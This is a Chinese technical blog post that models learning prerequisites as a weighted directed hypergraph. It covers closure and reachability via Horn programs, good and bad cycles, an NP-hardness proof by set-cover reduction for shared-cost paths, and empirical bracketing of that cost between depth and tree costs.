&lt;p&gt;$$h = (T, y, w) \ \text{可执行于} \ K_i \iff T \subseteq K_i, \qquad K_{i+1} = K_i \cup \lbrace y \rbrace$$&lt;/p&gt;
&lt;p&gt;尾集为空是合法的。$T = \varnothing$ 时 $T \subseteq K_i$ 恒成立，所以 $(\varnothing, y, w)$ 在任何状态下都可执行，语义上是「无条件起点」：不问学习者已经会什么，付出 $w$ 就直接获得 $y$。这和「点落在 $S$ 里」不是一回事——$S$ 描述的是&lt;strong&gt;学习者&lt;/strong&gt;（因人而异，不计成本），空尾超边描述的是&lt;strong&gt;图本身&lt;/strong&gt;（对所有人一样，要付成本）。一张没有任何空尾超边的知识图，零基础学习者什么都学不了，因为没有任何一步能起步。&lt;/p&gt;
&lt;p&gt;走一遍就清楚了。设起点 $S = \lbrace A \rbrace$，目标 $Z$：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;K₀ = {A}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ({A}, B, 3) 可执行，因为 {A} ⊆ K₀ → K₁ = {A, B}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ({B}, D, 1) 可执行 → K₂ = {A, B, D}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ({B}, E, 1) 可执行 → K₃ = {A, B, D, E}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ({D,E}, Z, 1) 可执行，因为 {D,E} ⊆ K₃ → K₄ = {A, B, D, E, Z}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 没有新的可执行超边，停止
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;$K$ 的全部作用就是回答「现在够不够」。最后那一步 $\lbrace D,E \rbrace \to Z$ 需要两个前提，两个都有才能走——&lt;strong&gt;这就是上一版要靠 AND 组才能表达的东西，现在只是尾集大小的问题。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="四条化简"&gt;四条化简
&lt;/h3&gt;&lt;p&gt;有了上面的定义，上一版那些让我别扭的东西可以一条条被证明为多余。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、AND 组和 OR 组都不需要存在。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;上一版里，同一概念的入边被分组，组内是 AND、组间是 OR，还得维护「一条边可以属于多套方案」这种多对多关系。整套结构在超边表示下是空的。&lt;/p&gt;
&lt;p&gt;$\lvert T(h) \rvert &amp;gt; 1$ 就是 AND，尾集本身就是合取；两条头相同的超边并存就是 OR，它们彼此独立，不需要任何分组结构管理。严格地说，上一版的方案集合 $\mathcal{P}(v)$ 与「头为 $v$ 的超边集合」之间存在双射：一条边由 $(\text{source}, \text{target})$ 唯一标识，所以方案 $P$ 与其源点集一一对应，取 $\Phi(P) = (\lbrace \text{source}(e) : e \in P \rbrace,\ v)$，逆映射把超边展开回逐条边，两者互逆。既然是双射，删掉一边不损失任何信息。&lt;/p&gt;
&lt;p&gt;顺带地，上一版那个「投影边」对象也一起没了——它只是超边在有向图上的展开视图，随时可以重算。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、权只能定义在超边上，边级权在数学上无解。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这条正是上一篇结尾那处修正的完整版本。我当时的直觉是权不可能挂在边上，但说不出为什么。反例比我想的干脆：&lt;/p&gt;
&lt;p&gt;$$(\lbrace A,B \rbrace, D, 1), \qquad (\lbrace A \rbrace, D, 5), \qquad (\lbrace B \rbrace, D, 5)$$&lt;/p&gt;
&lt;p&gt;它描述的情形很常见——$A$ 和 $B$ 各自单用都很贵，合起来却有极强的组合效应。若权可以拆到边上，则必须同时满足&lt;/p&gt;
&lt;p&gt;$$w_e(A \to D) + w_e(B \to D) = 1, \qquad w_e(A \to D) = 5, \qquad w_e(B \to D) = 5$$&lt;/p&gt;
&lt;p&gt;也就是 $10 = 1$。这个方程组的最小二乘残差是 $5.196 &amp;gt; 0$，确认无解（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6b.py#L15" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_no_edge_weights&lt;/code&gt;&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;更根本的是，即使不存在竞争方案，把一个整体成本拆成各前提的份额也&lt;strong&gt;没有典范选择&lt;/strong&gt;——任何和等于总数的拆分都同样合法；而一条被两套方案共享的边会被迫同时取两个值。结论是&lt;strong&gt;权和载荷同源&lt;/strong&gt;：二者都是定义在整个推导步骤上的函数。既然同源，「方案」和「边」就没有理由并存为两个对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三、无环公理可以直接删掉。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这正是我前面反思的那条：我只需要教程无环，不需要让知识无环。数学上给出的答案比我预期的更干脆——&lt;strong&gt;这条公理根本不必存在。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;闭包是最小不动点，由 Knaster–Tarski 定理&lt;sup id="fnref1:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;保证存在且唯一，与图里有没有环无关。而循环支撑的点永远不会进入闭包：假设 $A$ 要靠 $B$ 推出、$B$ 又要靠 $A$ 推出，且两者都没有别的来源，那么第一轮扫描时 $A$ 的前提 $B$ 不在集合里，$B$ 的前提 $A$ 也不在，两条超边都不触发；此后集合再没变过，所以永远不会触发。&lt;strong&gt;没有源头的循环不会自己启动&lt;/strong&gt;。同一张图上换个有根的起点，那两个点就都推得出来了（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6.py#L87" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_cycle_safety&lt;/code&gt;&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四、载荷退化为不透明字段。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;definition&lt;/code&gt;、&lt;code&gt;question&lt;/code&gt;、&lt;code&gt;answer&lt;/code&gt;、&lt;code&gt;materials&lt;/code&gt; 都不被三个核心算法读取，统一为一个核心层不解释的字段。核心层唯一需要的是：成本 $w$ 是这些载荷的某个函数——这个函数由应用层实现和标定，核心层只接收结果。&lt;/p&gt;
&lt;p&gt;四条合起来，对象数量的变化是：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;上一版&lt;/th&gt;
&lt;th&gt;现在&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;持久化对象类型&lt;/td&gt;
&lt;td&gt;Concept / DerivationPlan / Derivation，另有 AND / OR 分组&lt;/td&gt;
&lt;td&gt;Point / Hyperedge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AND / OR&lt;/td&gt;
&lt;td&gt;需要专门的分组结构&lt;/td&gt;
&lt;td&gt;尾集大小与同头并存，不是对象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模型公理&lt;/td&gt;
&lt;td&gt;无环、禁止递归交集&lt;/td&gt;
&lt;td&gt;无（下面会说交集约束去哪了）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权的载体&lt;/td&gt;
&lt;td&gt;AND 组&lt;/td&gt;
&lt;td&gt;超边（同一对象）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顺序机制&lt;/td&gt;
&lt;td&gt;DAG 拓扑序&lt;/td&gt;
&lt;td&gt;可执行序，不依赖无环&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="可达性好环坏环与静默失败"&gt;可达性：好环、坏环与静默失败
&lt;/h3&gt;&lt;p&gt;把超边 $(T, y, w)$ 读作「$\bigwedge_{p \in T} p \Rightarrow y$」，起点集读作事实集，那么闭包恰好就是这个 Horn 程序的唯一最小模型。这不是类比，是同一件事——由此直接继承一个强结论：&lt;strong&gt;可达性判定可在线性时间内完成&lt;/strong&gt;&lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;，具体是 $O(\sum_h (\lvert T(h) \rvert + 1))$。为每条超边维护一个「未满足前提计数」，某点首次入队时把以它为前提的超边计数减一，减到零即触发。&lt;/p&gt;
&lt;p&gt;这条对应关系也解释了经典 AND/OR 图理论&lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;为什么天然适用：AND/OR 图、Horn 子句、有向超图、上下文无关文法的推导，在文献里本来就是同一结构的四种写法&lt;sup id="fnref:4"&gt;&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref"&gt;4&lt;/a&gt;&lt;/sup&gt;。这一版只是选了其中最紧凑的一种当实现基底。&lt;/p&gt;
&lt;p&gt;顺序机制也随之换掉了。上一版用 DAG 的拓扑序给出「合法讲述顺序」，而拓扑序只在无环图上存在。现在改用&lt;strong&gt;可执行序&lt;/strong&gt;：$R$ 的一个排列，使得每一步在它之前那些步骤的结果之上都可执行。闭包的分轮扫描顺手就产出一个，所以任何 Derivation 至少有一个可执行序，且不需要全图无环。&lt;/p&gt;
&lt;p&gt;现在回到我前面说的那个反思：知识里有些环是合理的。数学给出的答案比「允许环」更精确——&lt;strong&gt;它区分了两种环。&lt;/strong&gt;&lt;/p&gt;
&lt;pre class="mermaid"&gt;
flowchart TB
subgraph GOOD[&amp;#34;好环：两条边都是正当推导，互为 OR 路线&amp;#34;]
direction LR
T([&amp;#34;泰勒级数（入口）&amp;#34;]) --&amp;gt; E[&amp;#34;e^ix&amp;#34;]
G([&amp;#34;几何三角（入口）&amp;#34;]) --&amp;gt; SC[&amp;#34;sin/cos&amp;#34;]
E --&amp;gt;|&amp;#34;欧拉公式：取实部虚部&amp;#34;| SC
SC --&amp;gt;|&amp;#34;欧拉公式：反方向&amp;#34;| E
end
subgraph BAD[&amp;#34;坏环：互相定义，整组没有任何外部入口&amp;#34;]
direction LR
L[&amp;#34;线性&amp;#34;] --&amp;gt;|&amp;#34;就是满足叠加&amp;#34;| SP[&amp;#34;叠加原理&amp;#34;]
SP --&amp;gt;|&amp;#34;是线性的性质&amp;#34;| L
end
&lt;/pre&gt;
&lt;p&gt;带泰勒级数进来的学习者能到 $\sin/\cos$，带几何三角进来的能到 $e^{ix}$，两条路都通，&lt;strong&gt;环的存在对谁都没有造成任何阻碍&lt;/strong&gt;。而「线性 $\rightleftarrows$ 叠加原理」这种同义反复，无论学习者已经掌握了什么，两个点永远推不出来。&lt;/p&gt;
&lt;p&gt;所以准确的说法是：&lt;strong&gt;这一版拒绝的不是环，而是没有外部入口的环，并且把判断推迟到有具体查询的时候。&lt;/strong&gt; 上一版的无环公理是全图的结构禁令，会把上面那张图整张拒收，逼作者从 $e^{ix}$ 与 $\sin/\cos$ 之间删掉一条——而删哪条都是在丢弃一条真实的教学路线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;新问题也随之出现：环从语法错误降级成了静默失败。&lt;/strong&gt; 上一版里作者画出一个环会立刻被拒绝，现在它只表现为「目标不可达」，原因不再显然。所以核心层必须补一个诊断接口，把「声称能推出、但那条推导是循环的」点找出来。&lt;/p&gt;
&lt;p&gt;这个诊断比看上去难写。我第一版判据是「假设除它自己以外一切已知，看还能不能推出它」，看着合理，实际上&lt;strong&gt;既误报了正常入口，又漏掉了真正的坏环&lt;/strong&gt;——因为循环里的两个点会互相顶上，把检查骗过去。正确判据是从&lt;strong&gt;入度为零的点&lt;/strong&gt;（图的天然入口）出发算闭包，落在外面的才是悬空点。上面两种环的完整算例、以及错误判据作为反例，都在 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/cycle_demo.py" target="_blank" rel="noopener"
&gt;&lt;code&gt;cycle_demo.py&lt;/code&gt;&lt;/a&gt; 里带断言保留着。&lt;/p&gt;
&lt;h3 id="成本一个坏消息和一对界"&gt;成本：一个坏消息和一对界
&lt;/h3&gt;&lt;p&gt;这一节是整个模型里唯一一处必须做有代价取舍的地方。在给出任何口径之前，先把两条公理摆出来，它们不是推出来的而是被假定的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;可加性&lt;/strong&gt;：一条推导的总成本，由各步成本按某种固定规则聚合而成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非负性&lt;/strong&gt;：$w \ge 0$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两条都不是事实。真实认知成本会被疲劳、干扰、遗忘破坏可加性；而「先学 $A$ 让后学 $B$ 变便宜」这类正迁移本应是负成本，非负性却禁止它——只能改用「新增一条以 $A$ 为前提、权更低的替代超边」来间接表达。&lt;/p&gt;
&lt;p&gt;我上一篇里写过一句当时觉得理所当然的话：&lt;strong&gt;共享的前置推导在同一子图中只计算一次。&lt;/strong&gt; 这句话是整个模型的核心主张，前面「少学反而更慢」那一节里 $X$ 作为多个后续节点的共同前置，正是靠这条才成立。如果复用要重复付费，高压缩率路线这个概念本身就不成立了。&lt;/p&gt;
&lt;p&gt;问题是，这个口径算不出来。看一个具体例子，学习者要学会 $Z$：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;从 A 学到 B 成本 3 ← B 是 D 和 E 共同的前置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;从 B 学到 D 成本 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;从 B 学到 E 成本 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;D 和 E 一起得到 Z 成本 1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;三种算法给出三个不同的数：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;口径&lt;/th&gt;
&lt;th&gt;怎么算&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;对应现实&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;集合成本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用到的四步各算一次：$3+1+1+1$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$B$ 只学一遍。&lt;strong&gt;这是真实的学习成本&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;展开成本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;摊成一棵树，$D$ 和 $E$ 往回走都要经过 $B$：$(3+1)+(3+1)+1$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;假装 $B$ 学了两遍，高估&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;深度成本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;最长的一条链 $A \to B \to D \to Z$：$3+1+1$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;可并行推进时的最短完成时间，低估&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我想要的是 6，但能高效算出来的是 9 和 5。&lt;/p&gt;
&lt;p&gt;原因在于&lt;strong&gt;局部性&lt;/strong&gt;。展开成本和深度成本都能写成一条「只看直接前提」的递推式：&lt;/p&gt;
&lt;p&gt;$$d(y) = \min_h \Big[, w(h) + \sum_{p \in T(h)} d(p) ,\Big], \qquad d(y) = \min_h \Big[, w(h) + \max_{p \in T(h)} d(p) ,\Big]$$&lt;/p&gt;
&lt;p&gt;要算 $Z$ 的成本，只需知道 $D$ 和 $E$ 各自的成本，再加最后一步。这种局部性让 Dijkstra 式的贪心成立——正是 Knuth 在 1977 年推广 Dijkstra 算法时刻画的&lt;strong&gt;上位函数&lt;/strong&gt;条件&lt;sup id="fnref:5"&gt;&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref"&gt;5&lt;/a&gt;&lt;/sup&gt;：聚合结果对每个自变量单调不减，且不小于任何一个自变量。&lt;/p&gt;
&lt;p&gt;集合成本没有这个性质。$D$ 那一支到底要不要为 $B$ 付钱，&lt;strong&gt;取决于 $E$ 那一支是不是已经买过了&lt;/strong&gt;。成本不再是各分支成本的函数，而依赖于全局已经选了哪些边，贪心就此失效。&lt;/p&gt;
&lt;p&gt;而且不只是「暂时没想到好算法」，它是 NP-hard 的。由集合覆盖归约：起点 $z$、目标 $t$，每个子集 $V_j$ 对应一个点 $x_j$ 与超边 $(\lbrace z \rbrace, x_j, 1)$（选用这个子集要花 1），元素 $q_i \in V_j$ 时有 $(\lbrace x_j \rbrace, q_i, 0)$（免费得到它覆盖的元素），最后一条 $(\lbrace q_1,\dots,q_n \rbrace, t, 0)$（凑齐全部元素才能到 $t$）。要到达 $t$ 就必须得到全部 $q_i$，因而所选 $x_j$ 必须覆盖全集，总成本恰好等于所选子集的个数——于是「用最低成本到达 $t$」和「用最少的子集盖住全集」是同一个问题。而集合覆盖不但 NP-hard，还不可在 $(1-o(1))\ln n$ 因子内近似&lt;sup id="fnref:6"&gt;&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref"&gt;6&lt;/a&gt;&lt;/sup&gt;，&lt;strong&gt;连打折的算法都不存在&lt;/strong&gt;。这个归约我在 60 组随机实例上对拍过暴力集合覆盖，结果精确相等（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6.py#L176" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_reduction&lt;/code&gt;&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;文献里其实早有这个现象的一般描述：超路径的求解代价随所选度量，可以从线性时间一直变化到 NP-hard&lt;sup id="fnref:7"&gt;&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref"&gt;7&lt;/a&gt;&lt;/sup&gt;。我只是撞上了这个谱坏的一端。&lt;/p&gt;
&lt;p&gt;难受完之后我发现，这三个数之间有关系。设权非负，则&lt;/p&gt;
&lt;p&gt;$$d_{\text{depth}}(S,t) \ \le\ C^{*}&lt;em&gt;{\text{set}}(S,t) \ \le\ d&lt;/em&gt;{\text{tree}}(S,t)$$&lt;/p&gt;
&lt;p&gt;右边：取展开成本最优解所用的超边&lt;strong&gt;多重集&lt;/strong&gt;，它去重后的支撑集是一个合法解，而把重复计的账改成只计一次，总数只会变小或不变。左边：非负权下，最优解上的最长链至多用到互不相同的超边，所以链长不超过全部权之和。当所有超边都只有一个前提时，推导退化成一条链，三者重合于经典最短路径。这对不等式我在 1753 组随机可达查询上用穷举法逐一对拍过，其中 67 组出现严格不等，说明这对界不是平凡重合（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6.py#L109" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_bracket&lt;/code&gt;&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;两头都是多项式可算的，于是求解策略就有了：&lt;strong&gt;先算两个端点，若相等则中间那个 NP-hard 的量被夹死，直接返回、根本不用搜索；不相等才启动搜索&lt;/strong&gt;，用展开成本的解当初始上界、深度成本当可采纳启发；超预算就返回区间并标记未收敛，绝不用展开成本冒充精确值。这套策略实现在 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/derivon_core.py" target="_blank" rel="noopener"
&gt;&lt;code&gt;min_set_cost&lt;/code&gt;&lt;/a&gt; 里，并用穷举当预言机对拍过 1325 组随机查询，结果完全一致（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_core.py" target="_blank" rel="noopener"
&gt;&lt;code&gt;verify_core.py&lt;/code&gt;&lt;/a&gt;）——分支定界快但复杂，穷举慢但不容易写错，两者对拍是唯一能防止「快但错」的东西。&lt;/p&gt;
&lt;p&gt;这里有一点值得单独强调：&lt;strong&gt;展开成本不只是个数字，它对应一条真实可走的推导。&lt;/strong&gt; 所以这不是「算不出最优就没边」，而是一个货真价实的 anytime 算法：任何时刻都有一条可推荐路径，外加一个经过证明的「最多差多少」。对一个实际产品来说，这已经够用了——学习者需要的是一条好路线，不是一个最优性证明。&lt;/p&gt;
&lt;p&gt;还有一个我没预料到的副产品：&lt;strong&gt;区间宽度 $d_{\text{tree}} - d_{\text{depth}}$ 本身就是一个可观测量&lt;/strong&gt;，它度量的正是当前知识图里共享结构的强度。如果这个宽度恒等于零，说明图退化成了一堆互不复用的线性教程——这恰好就是前面「少学反而更慢」那一节所批判的教纲形态。&lt;strong&gt;一个知识图质量的诊断指标，从一个纯粹的算法困难里掉了出来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么这个区间到底有多紧？夹逼定理只保证区间存在，没说它有多宽。而宽度直接决定了上面那套策略到底值不值钱，所以我又写了一个脚本实测（&lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/bracket_practice.py" target="_blank" rel="noopener"
&gt;&lt;code&gt;bracket_practice.py&lt;/code&gt;&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一组：随机超图。&lt;/strong&gt; 每组几百次可达查询，统计有多少比例需要真的启动搜索：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;尾集上限&lt;/th&gt;
&lt;th&gt;样本&lt;/th&gt;
&lt;th&gt;需搜索占比&lt;/th&gt;
&lt;th&gt;平均宽度&lt;/th&gt;
&lt;th&gt;上界高估倍数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;678&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;td&gt;0.00&lt;/td&gt;
&lt;td&gt;1.00x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;565&lt;/td&gt;
&lt;td&gt;2%&lt;/td&gt;
&lt;td&gt;0.09&lt;/td&gt;
&lt;td&gt;1.39x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;467&lt;/td&gt;
&lt;td&gt;3%&lt;/td&gt;
&lt;td&gt;0.10&lt;/td&gt;
&lt;td&gt;1.34x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;401&lt;/td&gt;
&lt;td&gt;1%&lt;/td&gt;
&lt;td&gt;0.06&lt;/td&gt;
&lt;td&gt;1.33x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;也就是说，&lt;strong&gt;97~99% 的查询里廉价上界恰好就是精确解&lt;/strong&gt;，那个 NP-hard 的量被直接夹死，根本不需要搜索。尾集上限为 1 时宽度恒为零，因为没有汇合就没有共享。&lt;/p&gt;
&lt;p&gt;但这组数据不能直接拿来乐观，因为&lt;strong&gt;随机图恰恰不具备我们关心的结构&lt;/strong&gt;。随机采样很少产生「一个点同时是多个分支的前置、而那些分支稍后又汇合」这种形态。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二组：刻意构造的枢纽结构。&lt;/strong&gt; 一个高压缩率中间概念 $X$ 被 $k$ 个分支复用，目标需要全部分支——&lt;strong&gt;正是前面「少学反而更慢」那一节鼓励的那种形态&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分支数 $k$&lt;/th&gt;
&lt;th&gt;枢纽成本&lt;/th&gt;
&lt;th&gt;$d_{\text{depth}}$&lt;/th&gt;
&lt;th&gt;$C^{*}_{\text{set}}$&lt;/th&gt;
&lt;th&gt;$d_{\text{tree}}$&lt;/th&gt;
&lt;th&gt;宽度&lt;/th&gt;
&lt;th&gt;上界高估&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.40x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;2.33x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;2.00x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;3.29x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;规律很清楚：&lt;strong&gt;分支越多、枢纽越贵，廉价上界越离谱。&lt;/strong&gt; 而这两个量恰恰就是「这个中间概念抽象得越好」的表现。&lt;/p&gt;
&lt;p&gt;于是得到一个反直觉的结论：&lt;strong&gt;区间宽度同时是「图质量指标」和「问题难度指标」，两者是同一个量。&lt;/strong&gt; 图越接近我们想要的样子——高复用、多条 OR 路线——它就越靠近难解那一端。&lt;/p&gt;
&lt;p&gt;所以「等规模大了再说」这个安慰实际上是「等图还足够松散、树状」，而产品做成功恰好把图推向反方向。这不是现在要担心的事，但值得记一笔：&lt;strong&gt;别指望「图小就没事」，该指望的是「分支定界在这类枢纽结构上跑得动」&lt;/strong&gt;——后者是可以实测的，不是猜的。&lt;/p&gt;
&lt;h3 id="表达力的边界"&gt;表达力的边界
&lt;/h3&gt;&lt;p&gt;定义立好之后，可以反过来问：这个对象能表达什么，不能表达什么。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单头够不够。&lt;/strong&gt; B-超图规定每条超边只有一个头。若想表达「$T$ 共同推出 $y_1 \dots y_k$，总成本 $w$」，可以引入中间点 $p^{\star}$，写成 $(T, p^{\star}, w)$ 加上若干条零权的 $(\lbrace p^{\star} \rbrace, y_i, 0)$。这个编码在可达性和集合成本下保真，&lt;strong&gt;但在展开成本下不保真&lt;/strong&gt;——后者会把 $p^{\star}$ 按头的个数重复计费（实测：集合成本 4，展开成本 8，见 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6.py#L199" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_multihead&lt;/code&gt;&lt;/a&gt;）。所以核心层维持单头，代价是多头场景下上界会变松。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;半环推广。&lt;/strong&gt; 把 $(\min, +)$ 换成别的半环，同一套结构立刻覆盖更多问题&lt;sup id="fnref:8"&gt;&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref"&gt;8&lt;/a&gt;&lt;/sup&gt;：布尔半环给出纯可达性，计数半环给出推导条数。但广义 Dijkstra 只对上位函数成立，其他情形要退回不动点迭代。这一步我没走——首版把权类型参数化但只实现 $(\min, +)$ 就够了，过早抽象没有收益。&lt;/p&gt;
